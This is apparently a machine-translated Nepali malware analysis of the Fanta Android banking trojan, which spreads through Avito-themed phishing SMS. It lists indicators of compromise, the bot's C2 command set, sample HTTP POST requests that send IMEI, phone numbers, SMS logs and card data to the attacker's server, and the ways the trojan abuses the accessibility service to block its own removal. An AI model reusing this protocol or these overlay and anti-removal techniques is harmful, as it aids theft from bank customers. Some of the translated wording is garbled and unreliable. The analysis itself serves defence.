🥇Leisya, Fanta: पुरानो एन्ड्रोइड ट्रोजन को नयाँ रणनीति

एक दिन तपाईं Avito मा केहि बेच्न चाहानुहुन्छ र, तपाईंको उत्पादनको विस्तृत विवरण पोस्ट गरिसकेपछि (उदाहरणका लागि, RAM मोड्युल), तपाईंले यो सन्देश प्राप्त गर्नुहुनेछ:

एकचोटि तपाईंले लिङ्क खोल्नुभएपछि, तपाईंले एउटा असुरक्षित पृष्ठ देख्नुहुनेछ, तपाईंलाई सूचित गर्दै, खुशी र सफल विक्रेता, कि खरिद गरिएको छ:

एकचोटि तपाईंले "जारी राख्नुहोस्" बटनमा क्लिक गरेपछि, आइकन र विश्वास-प्रेरणादायी नामको साथ एउटा APK फाइल तपाईंको एन्ड्रोइड उपकरणमा डाउनलोड हुनेछ। तपाईंले एउटा अनुप्रयोग स्थापना गर्नुभयो जुन कुनै कारणले पहुँच सेवा अधिकारहरूको लागि अनुरोध गरिएको थियो, त्यसपछि केही विन्डोहरू देखा पर्यो र चाँडै गायब भयो र... यही हो।

तपाईं आफ्नो ब्यालेन्स जाँच गर्न जानुहुन्छ, तर कुनै कारणले तपाईंको बैंकिङ एपले तपाईंको कार्ड विवरणहरू फेरि सोध्छ। डाटा प्रविष्ट गरेपछि, केहि भयानक हुन्छ: केहि कारणका लागि तपाईलाई अझै अस्पष्ट, पैसा तपाईको खाताबाट गायब हुन थाल्छ। तपाईं समस्या समाधान गर्ने प्रयास गर्दै हुनुहुन्छ, तर तपाईंको फोनले प्रतिरोध गर्छ: यसले "ब्याक" र "होम" कुञ्जीहरू थिच्छ, बन्द गर्दैन र तपाईंलाई कुनै पनि सुरक्षा उपायहरू सक्रिय गर्न अनुमति दिँदैन। नतिजाको रूपमा, तपाईं बिना पैसा छोड्नुभयो, तपाईंको सामानहरू खरिद गरिएको छैन, तपाईं भ्रमित हुनुहुन्छ र आश्चर्यचकित हुनुहुन्छ: के भयो?

जवाफ सरल छ: तपाईं फ्लेक्सनेट परिवारको सदस्य एन्ड्रोइड ट्रोजन फ्यान्टाको शिकार हुनुभएको छ। यो कसरी भयो? अब व्याख्या गरौं।

लेखकहरू: Andrey Polovinkin, मालवेयर विश्लेषण मा कनिष्ठ विशेषज्ञ, इवान पिसारेभ, मालवेयर विश्लेषण मा विशेषज्ञ।

केहि तथ्याङ्कहरू

एन्ड्रोइड ट्रोजनहरूको फ्लेक्सनेट परिवार पहिलो पटक 2015 मा परिचित भयो। गतिविधिको लामो अवधिमा, परिवारले धेरै उप-प्रजातिहरूमा विस्तार गर्यो: फ्यान्टा, लाइमबोट, लिप्टन, आदि। ट्रोजन, साथै यससँग सम्बन्धित पूर्वाधार, स्थिर रहनुहुन्न: नयाँ प्रभावकारी वितरण योजनाहरू विकास भइरहेका छन् - हाम्रो अवस्थामा, उच्च-गुणस्तरको फिसिङ पृष्ठहरू एक विशिष्ट प्रयोगकर्ता-विक्रेतालाई लक्षित गर्दै, र ट्रोजन विकासकर्ताहरूले फैशनेबल प्रवृत्तिहरू पछ्याउँछन्। भाइरस लेखन - नयाँ कार्यक्षमता थप्दै जसले संक्रमित उपकरणहरू र बाइपास सुरक्षा संयन्त्रहरूबाट थप कुशलतापूर्वक पैसा चोर्न सम्भव बनाउँछ।

यस लेखमा वर्णन गरिएको अभियान रूसका प्रयोगकर्ताहरूलाई लक्षित गरिएको छ; युक्रेनमा थोरै सङ्क्रमित उपकरणहरू रेकर्ड गरिएको थियो, र कजाकिस्तान र बेलारूसमा पनि थोरै।

यद्यपि Flexnet एन्ड्रोइड ट्रोजन एरेनामा 4 वर्ष भन्दा बढी भइसक्यो र धेरै शोधकर्ताहरूले विस्तृत रूपमा अध्ययन गरेका छन्, यो अझै राम्रो अवस्थामा छ। जनवरी 2019 देखि, क्षतिको सम्भावित मात्रा 35 मिलियन रूबल भन्दा बढी छ - र यो रूस मा अभियानहरु को लागी मात्र हो। 2015 मा, यस एन्ड्रोइड ट्रोजनको विभिन्न संस्करणहरू भूमिगत फोरमहरूमा बेचेका थिए, जहाँ विस्तृत विवरणको साथ ट्रोजनको स्रोत कोड पनि फेला पार्न सकिन्छ। यसको मतलब संसारमा क्षतिको तथ्याङ्क अझ प्रभावशाली छ। यस्तो बूढो मानिसको लागि नराम्रो सूचक होइन, हैन?

बिक्री देखि धोखा सम्म

विज्ञापन Avito पोस्ट गर्नको लागि इन्टरनेट सेवाको लागि फिसिङ पृष्ठको पहिले प्रस्तुत गरिएको स्क्रिनसटबाट देख्न सकिन्छ, यो एक विशेष पीडितको लागि तयार गरिएको थियो। स्पष्ट रूपमा, आक्रमणकारीहरूले Avito को पार्सरहरू मध्ये एक प्रयोग गर्छन्, जसले फोन नम्बर र विक्रेताको नाम, साथै उत्पादन विवरण निकाल्छ। पृष्ठ विस्तार गरेपछि र एपीके फाइल तयार गरेपछि, पीडितलाई उसको नाम र फिसिङ पृष्ठको लिङ्कमा उसको उत्पादनको विवरण र उत्पादनको "बिक्री" बाट प्राप्त रकम सहितको एसएमएस पठाइन्छ। बटनमा क्लिक गरेर, प्रयोगकर्ताले दुर्भावनापूर्ण एपीके फाइल प्राप्त गर्दछ - Fanta।

shcet491 [.]ru डोमेनको अध्ययनले देखाएको छ कि यो Hostinger को DNS सर्भरहरूमा प्रत्यायोजित छ:

ns1.hostinger.ru
ns2.hostinger.ru
ns3.hostinger.ru
ns4.hostinger.ru

डोमेन जोन फाइलमा आईपी ठेगानाहरू 31.220.23[।]236, 31.220.23[।]243, र 31.220.23[।]235 लाई संकेत गर्ने प्रविष्टिहरू समावेश छन्। यद्यपि, डोमेनको प्राथमिक स्रोत रेकर्ड (ए रेकर्ड) आईपी ठेगाना 178.132.1 [।]240 भएको सर्भरमा पोइन्ट गर्दछ।

IP ठेगाना 178.132.1[।] 240 नेदरल्याण्डमा अवस्थित छ र होस्टरसँग सम्बन्धित छ WorldStream। IP ठेगानाहरू ३१.२२०.२३[।]२३५, ३१.२२०.२३[।]२३६ र ३१.२२०.२३[।]२४३ युकेमा अवस्थित छन् र साझा होस्टिङ सर्भर HOSTINGER सँग सम्बन्धित छन्। रेकर्डरको रूपमा प्रयोग गरियो openprov-ru। निम्न डोमेनहरूले पनि IP ठेगाना 178.132.1 मा समाधान गर्यो[।]240:

sdelka-ru [.]ru
tovar-av [.]ru
av-tovar [.]ru
ru-sdelka [.]ru
shcet382 [.]ru
sdelka221 [.]ru
sdelka211 [.]ru
vyplata437[।]ru
viplata291 [.]ru
perevod273 [.]ru
perevod901 [.]ru

यो ध्यान दिनुपर्छ कि निम्न ढाँचामा लिङ्कहरू लगभग सबै डोमेनहरूबाट उपलब्ध थिए:

http://(www.){0,1}<%domain%>/[0-9]{7}

यो टेम्प्लेटमा SMS सन्देशको लिङ्क पनि समावेश छ। ऐतिहासिक डेटाको आधारमा, यो फेला पर्यो कि एउटा डोमेनले माथि वर्णन गरिएको ढाँचामा धेरै लिङ्कहरूसँग मेल खान्छ, जसले संकेत गर्दछ कि एक डोमेन धेरै पीडितहरूलाई ट्रोजन वितरण गर्न प्रयोग गरिएको थियो।

अलि अगाडि जाऔं: एसएमएसबाट लिङ्क मार्फत डाउनलोड गरिएको ट्रोजनले ठेगानालाई नियन्त्रण सर्भरको रूपमा प्रयोग गर्दछ। onusedseddohap [।] क्लब। यो डोमेन 2019-03-12 मा दर्ता गरिएको थियो, र 2019-04-29 देखि सुरु हुँदै, APK अनुप्रयोगहरूले यस डोमेनसँग अन्तरक्रिया गरे। VirusTotal बाट प्राप्त डाटा को आधार मा, कुल 109 अनुप्रयोगहरु यस सर्भर संग अन्तरक्रिया गरे। डोमेन आफैले IP ठेगानामा समाधान गर्यो २१७.२३.१४ [।] २७, नेदरल्याण्डमा अवस्थित र होस्टरको स्वामित्वमा रहेको WorldStream। रेकर्डरको रूपमा प्रयोग गरियो नेमचेप। डोमेनहरू पनि यो IP ठेगानामा समाधान गरियो खराब-रेकुन [।] क्लब (२०१८-०९-२५ देखि सुरु हुने) र खराब-राकुन [।] लाइभ (२०१८-१०-२५ देखि सुरु)। डोमेन संग खराब-रेकुन [।] क्लब 80 भन्दा बढी एपीके फाइलहरू अन्तरक्रिया गरियो खराब-राकुन [।] लाइभ - 100 भन्दा बढी।

सामान्यतया, आक्रमण निम्नानुसार हुन्छ:

Fanta को ढक्कन मुनि के छ?

अन्य धेरै एन्ड्रोइड ट्रोजनहरू जस्तै, फन्टाले एसएमएस सन्देशहरू पढ्न र पठाउन, USSD अनुरोधहरू गर्न, र अनुप्रयोगहरूको शीर्षमा (बैंकिङहरू सहित) आफ्नै विन्डोहरू प्रदर्शन गर्न सक्षम छ। यद्यपि, यस परिवारको कार्यक्षमताको शस्त्रागार आइपुगेको छ: Fanta प्रयोग गर्न थाले पहुँच सेवा विभिन्न उद्देश्यका लागि: अन्य अनुप्रयोगहरूबाट सूचनाहरूको सामग्रीहरू पढ्ने, पत्ता लगाउने रोक्न र संक्रमित यन्त्रमा ट्रोजनको कार्यान्वयन रोक्न, आदि। Fanta ले ४.४ भन्दा कम उमेरका एन्ड्रोइडका सबै संस्करणहरूमा काम गर्छ। यस लेखमा हामी निम्न फ्यान्टा नमूनालाई नजिकबाट हेर्नेछौं:

MD5: 0826bd11b2c130c4c8ac137e395ac2d4
SHA1: ac33d38d486ee4859aa21b9aeba5e6e11404bcc8
SHA256: df57b7e7ac6913ea5f4daad319e02db1f4a6b243f2ea6500f83060648da6edfb

प्रक्षेपण पछि तुरुन्तै

प्रक्षेपण पछि तुरुन्तै, ट्रोजनले यसको प्रतिमा लुकाउँछ। यदि संक्रमित उपकरणको नाम सूचीमा छैन भने अनुप्रयोगले मात्र काम गर्न सक्छ:

android_x86
VirtualBox
Nexus 5X (बुलहेड)
Nexus 5 (रेजर)

यो चेक ट्रोजन को मुख्य सेवा मा गरिन्छ - मुख्य सेवा। पहिलो पटक लन्च गर्दा, अनुप्रयोगको कन्फिगरेसन प्यारामिटरहरू पूर्वनिर्धारित मानहरूमा प्रारम्भ गरिन्छ (कन्फिगरेसन डाटा भण्डारणको लागि ढाँचा र तिनीहरूको अर्थ पछि छलफल गरिनेछ), र नियन्त्रण सर्भरमा नयाँ संक्रमित उपकरण दर्ता गरिएको छ। सन्देश प्रकारको साथ एक HTTP POST अनुरोध सर्भरमा पठाइनेछ register_bot र संक्रमित यन्त्र (एन्ड्रोइड संस्करण, IMEI, फोन नम्बर, अपरेटरको नाम र अपरेटर दर्ता भएको देशको कोड) बारे जानकारी। ठेगानाले नियन्त्रण सर्भरको रूपमा कार्य गर्दछ hXXp://onuseseddohap[.]club/controller.php। जवाफमा, सर्भरले क्षेत्रहरू समावेश भएको सन्देश पठाउँछ bot_id, bot_pwd, सर्भर - अनुप्रयोगले यी मानहरूलाई CnC सर्भरको प्यारामिटरहरूको रूपमा बचत गर्दछ। प्यारामिटर सर्भर यदि फिल्ड प्राप्त भएन भने वैकल्पिक: फ्यान्टाले दर्ता ठेगाना प्रयोग गर्दछ - hXXp://onuseseddohap[.]club/controller.php। CnC ठेगाना परिवर्तन गर्ने कार्य दुई समस्याहरू समाधान गर्न प्रयोग गर्न सकिन्छ: धेरै सर्भरहरू बीच समान रूपमा लोड वितरण गर्न (यदि त्यहाँ धेरै संख्यामा संक्रमित उपकरणहरू छन् भने, अप्टिमाइज गरिएको वेब सर्भरमा लोड उच्च हुन सक्छ), र प्रयोग गर्न पनि। CnC सर्भरहरू मध्ये एकको विफलताको घटनामा वैकल्पिक सर्भर।

यदि अनुरोध पठाउँदा त्रुटि भयो भने, ट्रोजनले २० सेकेन्ड पछि दर्ता प्रक्रिया दोहोर्याउनेछ।

एक पटक यन्त्र सफलतापूर्वक दर्ता भएपछि, Fanta ले प्रयोगकर्तालाई निम्न सन्देश प्रदर्शन गर्नेछ:

महत्त्वपूर्ण नोट: सेवा भनिन्छ प्रणाली सुरक्षा - ट्रोजन सेवाको नाम, र बटन क्लिक गरेपछि ठीक संक्रमित यन्त्रको पहुँच सेटिङहरूसँग एउटा विन्डो खुल्नेछ, जहाँ प्रयोगकर्ताले दुर्भावनापूर्ण सेवाका लागि पहुँच अधिकारहरू प्रदान गर्नुपर्छ:

प्रयोगकर्ताले अन गर्ने बित्तिकै पहुँच सेवा, फ्यान्टाले एप्लिकेसन विन्डोजको सामग्री र त्यसमा गरिएका कार्यहरूमा पहुँच प्राप्त गर्छ:

पहुँच अधिकार प्राप्त गरेपछि तुरुन्तै, ट्रोजनले अधिसूचनाहरू पढ्नको लागि प्रशासक अधिकार र अधिकारहरू अनुरोध गर्दछ:

AccessibilityService को प्रयोग गरेर, एप्लिकेसनले किस्ट्रोकहरू सिमुलेट गर्छ, जसले गर्दा आफूलाई सबै आवश्यक अधिकारहरू दिन्छ।

फ्यान्टाले कन्फिगरेसन डाटा भण्डारण गर्न आवश्यक धेरै डाटाबेस उदाहरणहरू (जसलाई पछि वर्णन गरिनेछ) सिर्जना गर्दछ, साथै संक्रमित यन्त्रको बारेमा प्रक्रियामा सङ्कलन गरिएको जानकारी। संकलित जानकारी पठाउनको लागि, ट्रोजनले डाटाबेसबाट फिल्डहरू डाउनलोड गर्न र नियन्त्रण सर्भरबाट आदेश प्राप्त गर्न डिजाइन गरिएको दोहोर्याउने कार्य सिर्जना गर्दछ। CnC पहुँचको लागि अन्तराल एन्ड्रोइड संस्करणको आधारमा सेट गरिएको छ: 5.1 को अवस्थामा, अन्तराल 10 सेकेन्ड हुनेछ, अन्यथा 60 सेकेन्ड।

आदेश प्राप्त गर्न, फन्टाले अनुरोध गर्दछ GetTask व्यवस्थापन सर्भरमा। प्रतिक्रियामा, CnC ले निम्न आदेशहरू मध्ये एउटा पठाउन सक्छ:

टोली	विवरण
0	SMS सन्देश पठाउनुहोस्
1	फोन कल वा USSD आदेश गर्नुहोस्
2	प्यारामिटर अपडेट गर्छ अन्तराल
3	प्यारामिटर अपडेट गर्छ अवरोध
6	प्यारामिटर अपडेट गर्छ एसएमएस प्रबन्धक
9	SMS सन्देशहरू सङ्कलन सुरु गर्नुहोस्
11	आफ्नो फोन कारखाना सेटिङहरूमा रिसेट गर्नुहोस्
12	संवाद बक्स निर्माणको लगिङ सक्षम/अक्षम पार्नुहोस्

फ्यान्टाले ७० वटा बैंकिङ एपहरू, द्रुत भुक्तानी प्रणाली र ई-वालेटहरूबाट पनि सूचनाहरू सङ्कलन गर्छ र तिनीहरूलाई डाटाबेसमा भण्डारण गर्छ।

कन्फिगरेसन प्यारामिटरहरू भण्डारण गर्दै

कन्फिगरेसन प्यारामिटरहरू भण्डारण गर्न, Fanta ले एन्ड्रोइड प्लेटफर्मको लागि मानक दृष्टिकोण प्रयोग गर्दछ - प्राथमिकताहरू-फाइलहरू। सेटिङहरू नामको फाइलमा बचत हुनेछ सेटिङ। बचत गरिएका प्यारामिटरहरूको विवरण तलको तालिकामा छ।

नाम	पूर्वनिर्धारित मान	सम्भावित मानहरू	विवरण
id	0	इन्टेगर	बोट आईडी
सर्भर	hXXp://onuseseddohap[.]club/	URL	सर्भर ठेगाना नियन्त्रण गर्नुहोस्
PWD	-	घागो	सर्भर पासवर्ड
अन्तराल	20	इन्टेगर	समय अन्तराल। निम्न कार्यहरू कति समयसम्म स्थगित गरिनु पर्छ भनेर संकेत गर्दछ: पठाइएको SMS सन्देशको स्थिति बारे अनुरोध पठाउँदा व्यवस्थापन सर्भरबाट नयाँ आदेश प्राप्त गर्दै
अवरोध	सबै	all/telNumber	यदि फिल्ड स्ट्रिङ बराबर छ सबै वा telNumber, त्यसपछि प्राप्त SMS सन्देश अनुप्रयोग द्वारा अवरोध गरिनेछ र प्रयोगकर्तालाई देखाइने छैन
एसएमएस प्रबन्धक	0	0/1	पूर्वनिर्धारित SMS प्राप्तकर्ताको रूपमा अनुप्रयोगलाई सक्षम/असक्षम गर्नुहोस्
पढ्ने संवाद	झूटा	साँचो/झूटो	घटना लगिङ सक्षम/असक्षम गर्नुहोस् पहुँच घटना

Fanta ले फाइल पनि प्रयोग गर्छ एसएमएस प्रबन्धक:

नाम	पूर्वनिर्धारित मान	सम्भावित मानहरू	विवरण
pckg	-	घागो	SMS सन्देश प्रबन्धकको नाम प्रयोग गरियो

डाटाबेस संग अन्तरक्रिया

यसको सञ्चालनको क्रममा, ट्रोजनले दुई डाटाबेसहरू प्रयोग गर्दछ। डाटाबेस नाम a फोनबाट संकलित विभिन्न जानकारी भण्डारण गर्न प्रयोग गरिन्छ। दोस्रो डाटाबेस नाम दिइएको छ fanta.db र बैंक कार्डहरू बारे जानकारी सङ्कलन गर्न डिजाइन गरिएको फिसिङ विन्डोहरू सिर्जना गर्न जिम्मेवार सेटिङहरू बचत गर्न प्रयोग गरिन्छ।

ट्रोजन डाटाबेस प्रयोग गर्दछ а सङ्कलन जानकारी भण्डारण गर्न र आफ्नो कार्यहरू लग। डाटा तालिकामा भण्डार गरिएको छ लग। तालिका सिर्जना गर्न, निम्न SQL क्वेरी प्रयोग गर्नुहोस्:

create table logs ( _id integer primary key autoincrement, d TEXT, f TEXT, p TEXT, m integer)

डाटाबेसले निम्न जानकारी समावेश गर्दछ:

1. सन्देशको साथ संक्रमित उपकरणको स्टार्टअप लग गर्दै फोन अन भयो!

2. अनुप्रयोगहरूबाट सूचनाहरू। सन्देश निम्न टेम्प्लेट अनुसार उत्पन्न गरिएको छ:

(<%App Name%>)<%Title%>: <%Notification text%>

3. ट्रोजन द्वारा बनाईएको फिसिङ फारमहरूबाट बैंक कार्ड डेटा। प्यारामिटर VIEW_NAME निम्न मध्ये एक हुन सक्छ:

AliExpress
Avito
गुगल प्ले
विविध <% एप नाम%>

सन्देश ढाँचामा लग इन गरिएको छ:

[<%Time in format HH:mm:ss dd.MM.yyyy%>](<%VIEW_NAME%>) Номер карты:<%CARD_NUMBER%>; Дата:<%MONTH%>/<%YEAR%>; CVV: <%CVV%>

4. ढाँचामा आगमन / बाहिर जाने SMS सन्देशहरू:

([<%Time in format HH:mm:ss dd.MM.yyyy%>] Тип: Входящее/Исходящее) <%Mobile number%>:<%SMS-text%>

5. ढाँचामा संवाद बाकस सिर्जना गर्ने प्याकेजको बारेमा जानकारी:

(<%Package name%>)<%Package information%>

उदाहरण तालिका लग:

Fanta को कार्यक्षमता मध्ये एक बैंक कार्ड बारे जानकारी को संग्रह हो। बैंकिङ एप्लिकेसनहरू खोल्दा डाटा सङ्कलन फिसिङ विन्डोजहरू सिर्जना गरेर हुन्छ। ट्रोजनले फिसिङ विन्डो एक पटक मात्र सिर्जना गर्छ। प्रयोगकर्तालाई सञ्झ्याल देखाइएको जानकारी तालिकामा भण्डार गरिएको छ सेटिङ डाटाबेसमा fanta.db। डाटाबेस सिर्जना गर्न, निम्न SQL क्वेरी प्रयोग गर्नुहोस्:

create table settings (can_login integer, first_bank integer, can_alpha integer, can_avito integer, can_ali integer, can_vtb24 integer, can_telecard integer, can_another integer, can_card integer);

सबै तालिका क्षेत्रहरू सेटिङ पूर्वनिर्धारित रूपमा 1 मा प्रारम्भ गरिएको (फिसिङ विन्डो सिर्जना गर्नुहोस्)। प्रयोगकर्ताले आफ्नो डेटा प्रविष्ट गरेपछि, मान ० मा सेट हुनेछ। तालिका क्षेत्रहरूको उदाहरण सेटिङ:

can_login - बैंकिङ आवेदन खोल्दा फारम प्रदर्शन गर्न क्षेत्र जिम्मेवार छ
पहिलो_बैंक - प्रयोग गरिएको छैन
can_avito - Avito अनुप्रयोग खोल्दा फारम प्रदर्शन गर्न फिल्ड जिम्मेवार छ
can_ali - Aliexpress अनुप्रयोग खोल्दा फारम प्रदर्शन गर्न फिल्ड जिम्मेवार छ
can_अर्को - सूचीबाट कुनै पनि अनुप्रयोग खोल्दा फारम प्रदर्शन गर्न फिल्ड जिम्मेवार छ: Yula, Pandao, Drom Auto, Wallet। छुट र बोनस कार्ड, Aviasales, बुकिंग, Trivago
can_card - खोल्दा फारम प्रदर्शन गर्न क्षेत्र जिम्मेवार छ गुगल प्ले

व्यवस्थापन सर्भर संग अन्तरक्रिया

व्यवस्थापन सर्भरसँग नेटवर्क अन्तरक्रिया HTTP प्रोटोकल मार्फत हुन्छ। नेटवर्क संग काम गर्न को लागी, Fanta लोकप्रिय Retrofit पुस्तकालय को उपयोग गर्दछ। अनुरोधहरू पठाइन्छ: hXXp://onuseseddohap[.]club/controller.php। सर्भरमा दर्ता गर्दा सर्भर ठेगाना परिवर्तन गर्न सकिन्छ। कुकीहरू सर्भरबाट प्रतिक्रियामा पठाउन सकिन्छ। Fanta ले सर्भरमा निम्न अनुरोधहरू गर्दछ:

नियन्त्रण सर्भरमा बोटको दर्ता एक पटक हुन्छ, पहिलो सुरुवातमा। संक्रमित यन्त्रको बारेमा निम्न डेटा सर्भरमा पठाइन्छ:
· कुकी - सर्भरबाट प्राप्त कुकीहरू (पूर्वनिर्धारित मान खाली स्ट्रिङ हो)
· मोड - स्ट्रिङ स्थिर register_bot
· उपसर्ग - पूर्णांक स्थिर 2
· संस्करण_sdk - निम्न टेम्प्लेट अनुसार गठन गरिएको छ: <% Build.MODEL%>/<% Build.VERSION.RELEASE%>(Avit)
· IMEI - संक्रमित यन्त्रको IMEI
· देश - ISO ढाँचामा अपरेटर दर्ता भएको देशको कोड
· नम्बर - फोन नम्बर
· अपरेटर - अपरेटर नाम

सर्भरमा पठाइएको अनुरोधको उदाहरण:
```
POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0

mode=register_bot&prefix=2&version_sdk=<%VERSION_SDK%>&imei=<%IMEI%>&country=<%COUNTRY_ISO%>&number=<%TEL_NUMBER%>&operator=<%OPERATOR_NAME%>
```
अनुरोधको जवाफमा, सर्भरले निम्न प्यारामिटरहरू भएको JSON वस्तु फिर्ता गर्नुपर्छ:
· bot_id - संक्रमित उपकरणको आईडी। यदि bot_id ० बराबर छ भने, Fanta ले अनुरोध पुन: कार्यान्वयन गर्नेछ।
bot_pwd - सर्भरको लागि पासवर्ड।
सर्भर - नियन्त्रण सर्भर ठेगाना। वैकल्पिक प्यारामिटर। यदि प्यारामिटर निर्दिष्ट गरिएको छैन भने, अनुप्रयोगमा बचत गरिएको ठेगाना प्रयोग गरिनेछ।

उदाहरण JSON वस्तु:
```
{
    "response":[
   	 {
   		 "bot_id": <%BOT_ID%>,
   		 "bot_pwd": <%BOT_PWD%>,
   		 "server": <%SERVER%>
   	 }
    ],
    "status":"ok"
}
```

सर्भरबाट आदेश प्राप्त गर्न अनुरोध गर्नुहोस्। निम्न डाटा सर्भरमा पठाइन्छ:
· कुकी - सर्भरबाट प्राप्त कुकीहरू
· बोली - अनुरोध पठाउँदा प्राप्त भएको संक्रमित उपकरणको आईडी register_bot
· PWD - सर्भरको लागि पासवर्ड
· divice_admin - क्षेत्रले प्रशासक अधिकारहरू प्राप्त भएको छ कि छैन निर्धारण गर्दछ। यदि प्रशासक अधिकार प्राप्त भएको छ भने, क्षेत्र बराबर छ 1अन्यथा 0
· पहुँच - पहुँच सेवा सञ्चालन स्थिति। यदि सेवा सुरु भएको थियो भने, मान हो 1अन्यथा 0
· SMS प्रबन्धक - SMS प्राप्त गर्नको लागि पूर्वनिर्धारित अनुप्रयोगको रूपमा ट्रोजन सक्षम गरिएको छ कि छैन भनेर देखाउँछ
· पर्दा - स्क्रिन कुन अवस्थामा छ देखाउँछ। मूल्य निर्धारण गरिनेछ 1, यदि स्क्रिन सक्रिय छ भने, अन्यथा 0;

सर्भरमा पठाइएको अनुरोधको उदाहरण:
```
POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0

mode=getTask&bid=<%BID%>&pwd=<%PWD%>&divice_admin=<%DEV_ADM%>&Accessibility=<%ACCSBL%>&SMSManager=<%SMSMNG%>&screen=<%SCRN%>
```
आदेशमा निर्भर गर्दै, सर्भरले फरक प्यारामिटरहरूसँग JSON वस्तु फिर्ता गर्न सक्छ:

· टोली SMS सन्देश पठाउनुहोस्: प्यारामिटरहरूमा फोन नम्बर, SMS सन्देशको पाठ र पठाइएको सन्देशको ID समावेश हुन्छ। प्रकारको साथ सर्भरमा सन्देश पठाउँदा पहिचानकर्ता प्रयोग गरिन्छ setSmsStatus.
```
{
    "response":
    [
   	 {
   		 "mode": 0,
   		 "sms_number": <%SMS_NUMBER%>,
   		 "sms_text": <%SMS_TEXT%>,
   		 "sms_id": %SMS_ID%
   	 }
    ],
    "status":"ok"
}
```
· टोली फोन कल वा USSD आदेश गर्नुहोस्: फोन नम्बर वा आदेश प्रतिक्रिया मुख्य भाग मा आउँछ।
```
{
    "response":
    [
   	 {
   		 "mode": 1,
   		 "command": <%TEL_NUMBER%>
   	 }
    ],
    "status":"ok"
}
```
· टोली अन्तराल प्यारामिटर परिवर्तन गर्नुहोस्.
```
{
    "response":
    [
   	 {
   		 "mode": 2,
   		 "interval": <%SECONDS%>
   	 }
    ],
    "status":"ok"
}
```
· टोली इन्सेप्ट प्यारामिटर परिवर्तन गर्नुहोस्.
```
{
    "response":
    [
   	 {
   		 "mode": 3,
   		 "intercept": "all"/"telNumber"/<%ANY_STRING%>
   	 }
    ],
    "status":"ok"
}
```
· टोली SmsManager फिल्ड परिवर्तन गर्नुहोस्.
```
{
    "response":
    [
   	 {
   		 "mode": 6,
   		 "enable": 0/1
   	 }
    ],
    "status":"ok"
}
```
· टोली संक्रमित यन्त्रबाट एसएमएस सन्देशहरू सङ्कलन गर्नुहोस्.
```
{
    "response":
    [
   	 {
   		 "mode": 9
   	 }
    ],
    "status":"ok"
}
```
· टोली आफ्नो फोन कारखाना सेटिङहरूमा रिसेट गर्नुहोस्:
```
{
    "response":
    [
   	 {
   		 "mode": 11
   	 }
    ],
    "status":"ok"
}
```
· टोली ReadDialog प्यारामिटर परिवर्तन गर्नुहोस्.
```
{
    "response":
    [
   	 {
   		 "mode": 12,
   		 "enable": 0/1
   	 }
    ],
    "status":"ok"
}
```

टाइपको साथ सन्देश पठाउँदै setSmsStatus। आदेश कार्यान्वयन भएपछि यो अनुरोध गरिन्छ SMS सन्देश पठाउनुहोस्। अनुरोध यस्तो देखिन्छ:

POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0

mode=setSmsStatus&id=<%ID%>&status_sms=<%PWD%>

डाटाबेस सामग्रीहरू अपलोड गर्दै। एउटा पङ्क्ति प्रति अनुरोध पठाइन्छ। निम्न डाटा सर्भरमा पठाइन्छ:
· कुकी - सर्भरबाट प्राप्त कुकीहरू
· मोड - स्ट्रिङ स्थिर setSaveInboxSms
· बोली - अनुरोध पठाउँदा प्राप्त भएको संक्रमित उपकरणको आईडी register_bot
· पाठ - हालको डाटाबेस रेकर्डमा पाठ (फिल्ड d टेबलबाट लग डाटाबेसमा а)
· नम्बर — हालको डाटाबेस रेकर्डको नाम (फिल्ड p टेबलबाट लग डाटाबेसमा а)
· sms_mode - पूर्णांक मान (फिल्ड m टेबलबाट लग डाटाबेसमा а)

अनुरोध यस्तो देखिन्छ:
```
POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0

mode=setSaveInboxSms&bid=<%APP_ID%>&text=<%a.logs.d%>&number=<%a.logs.p%>&sms_mode=<%a.logs.m%>
```
यदि सफलतापूर्वक सर्भरमा पठाइयो भने, पङ्क्ति तालिकाबाट मेटिनेछ। सर्भरद्वारा फिर्ता गरिएको JSON वस्तुको उदाहरण:
```
{
    "response":[],
    "status":"ok"
}
```

पहुँच सेवासँग अन्तरक्रिया गर्दै

अपाङ्गता भएका व्यक्तिहरूका लागि एन्ड्रोइड उपकरणहरू प्रयोग गर्न सजिलो बनाउन पहुँच सेवा लागू गरिएको थियो। धेरैजसो अवस्थामा, एप्लिकेसनसँग अन्तर्क्रिया गर्न शारीरिक अन्तरक्रिया आवश्यक हुन्छ। AccessibilityService ले तपाईंलाई तिनीहरूलाई प्रोग्रामेटिक रूपमा गर्न अनुमति दिन्छ। फ्यान्टाले बैंकिङ एप्लिकेसनहरूमा नक्कली विन्डोहरू सिर्जना गर्न र प्रयोगकर्ताहरूलाई प्रणाली सेटिङहरू र केही अनुप्रयोगहरू खोल्नबाट रोक्न सेवा प्रयोग गर्दछ।

AccessibilityService को कार्यक्षमता प्रयोग गरेर, ट्रोजनले संक्रमित यन्त्रको स्क्रिनमा भएका तत्वहरूमा परिवर्तनहरू निगरानी गर्दछ। पहिले वर्णन गरिएझैं, फ्यान्टा सेटिङहरूमा संवाद बाकसहरूसँग लगिङ सञ्चालनका लागि जिम्मेवार प्यारामिटर हुन्छ - पढ्ने संवाद। यदि यो प्यारामिटर सेट गरिएको छ भने, घटना ट्रिगर गर्ने प्याकेजको नाम र विवरण बारे जानकारी डाटाबेसमा थपिनेछ। घटनाहरू ट्रिगर हुँदा ट्रोजनले निम्न कार्यहरू गर्दछ:

निम्न अवस्थामा पछाडि र घर कुञ्जीहरू थिचेर सिमुलेट गर्दछ:
· यदि प्रयोगकर्ताले आफ्नो यन्त्र रिबुट गर्न चाहन्छ भने
· यदि प्रयोगकर्ता "Avito" अनुप्रयोग मेटाउन वा पहुँच अधिकार परिवर्तन गर्न चाहन्छ
· यदि पृष्ठमा "Avito" अनुप्रयोगको उल्लेख छ भने
· Google Play Protect एप खोल्दा
· पहुँच सेवा सेटिङहरूसँग पृष्ठहरू खोल्दा
